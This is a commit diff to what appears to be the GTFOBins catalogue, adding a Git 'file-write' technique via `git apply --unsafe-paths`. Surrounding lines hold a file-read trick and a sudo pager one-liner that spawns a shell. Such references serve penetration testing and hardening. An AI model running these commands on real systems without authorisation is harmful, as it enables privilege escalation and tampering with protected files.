Add file-write to Git

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
Jake Backer 2023-09-02 03:34:45 -05:00 committed by GitHub
parent 5b93637ab4
commit d3173153ac
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -26,6 +26,10 @@ functions:
code: | code: |
LFILE=file_to_read LFILE=file_to_read
git diff /dev/null $LFILE git diff /dev/null $LFILE
file-write:
- description: The patch can be created locally by creating the file that will be written on the target using its absolute path, then `git diff /dev/null /path/to/file >x.patch`.
code: |
git apply --unsafe-paths --directory / x.patch
sudo: sudo:
- code: sudo PAGER='sh -c "exec sh 0<&1"' git -p help - code: sudo PAGER='sh -c "exec sh 0<&1"' git -p help
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.